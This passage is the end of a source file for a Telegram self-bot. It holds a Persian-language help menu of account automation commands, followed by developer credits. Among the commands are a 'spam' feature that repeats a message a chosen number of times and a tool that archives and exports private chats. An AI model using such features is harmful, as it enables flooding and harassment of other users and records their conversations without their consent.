فردی پیام دهد هنگامی که شما افلاین هستید این قابلیت پیامی که شما ثبت کردید را برای آن فرد میفرستد 580 | ♧ clerk 581 | ★ 582 | ♧ setmainbio بیوی اصلی که هنگام خاموش کردن بیو متحرک بر روی پروفالتون قرار میگیرد 583 | ★ 584 | > قابلیت فروشگاهی 🏪 585 | ♧ setcard ثبت شماره کارت یا هر متن دیگری 586 | ♧ card نمایش شماره کارت یا متن ثبت شده به سرعت 587 | ★ 588 | > عشق ♥️ 589 | > ساعت های ست و ویش تایم ها را با قلب برای فرد ثبت شده میفرستد 590 | ♧ dellove [in chat] اضافه کردن عشق 591 | ♧ setlove [in chat] حذف کردن عشق 592 | ★ 593 | > زبان ربات 594 | ♧ `lang` `en` or `fa` 595 | ★ 596 | > خوش امدگویی 🃏 597 | ♧ setwel 598 | ★ 599 | > ری اکشن خودکار 🤪 600 | > تمامی پیام های فرستاده شده در پیوی در همان لحظه ایموجی ثبت شده را ری اکت میکنند 601 | ♧ reaction 602 | ★ 603 | > وضعیت شما 🟢🗯 604 | > وضعیتی که بالای صفحه به نمایش در می آید (درحال نوشتن . ...) 605 | ♧ status 606 | ★ 607 | > حالت تایپ 📝 608 | ♧ typemodel 609 | ★ 610 | > دیدن چت های ارشیو شده 611 | > برای استفاده و ثبت چت ها اول ذخیره ی پیام ها را روشن کنید 612 | ♧ see [reply][in chat][id] فرستادن فایل چت با اون فرد 613 | ♧ allchats فرستادن تمامی فایل های چت 614 | ★ 615 | 🤪 سرگرمی 🤪 616 | `kill` [reply] : animated blocking 617 | `spam` [num of spams] | [text] - spam 100 | Rj 618 | ` wiki ` [your_search] 619 | ` wikifa ` [your_search] 620 | `forall` 621 | `forpv` 622 | `replytag` [your text] 623 | `tag` 624 | `stop` 625 | `ban` 626 | `ban` 627 | `lock` 628 | `unlock` 629 | `mute` 630 | `temmute` [reply or peer id] | [time] 631 | `unmute` 632 | `leave` 633 | `info` [reply] 634 | `block` 635 | `unblock` 636 | `mydel` پاکسازی تمامی پیام های خود 637 | 🪩 DEV : https://www.github.com/amiralirj 638 | 🪩 DEV : @amiralirj_official 639 | ''' 640 | 641 | 642 | # @amiralirj_official - https://www.github.com/amiralirj 643 | # 2022 . 644 | --------------------------------------------------------------------------------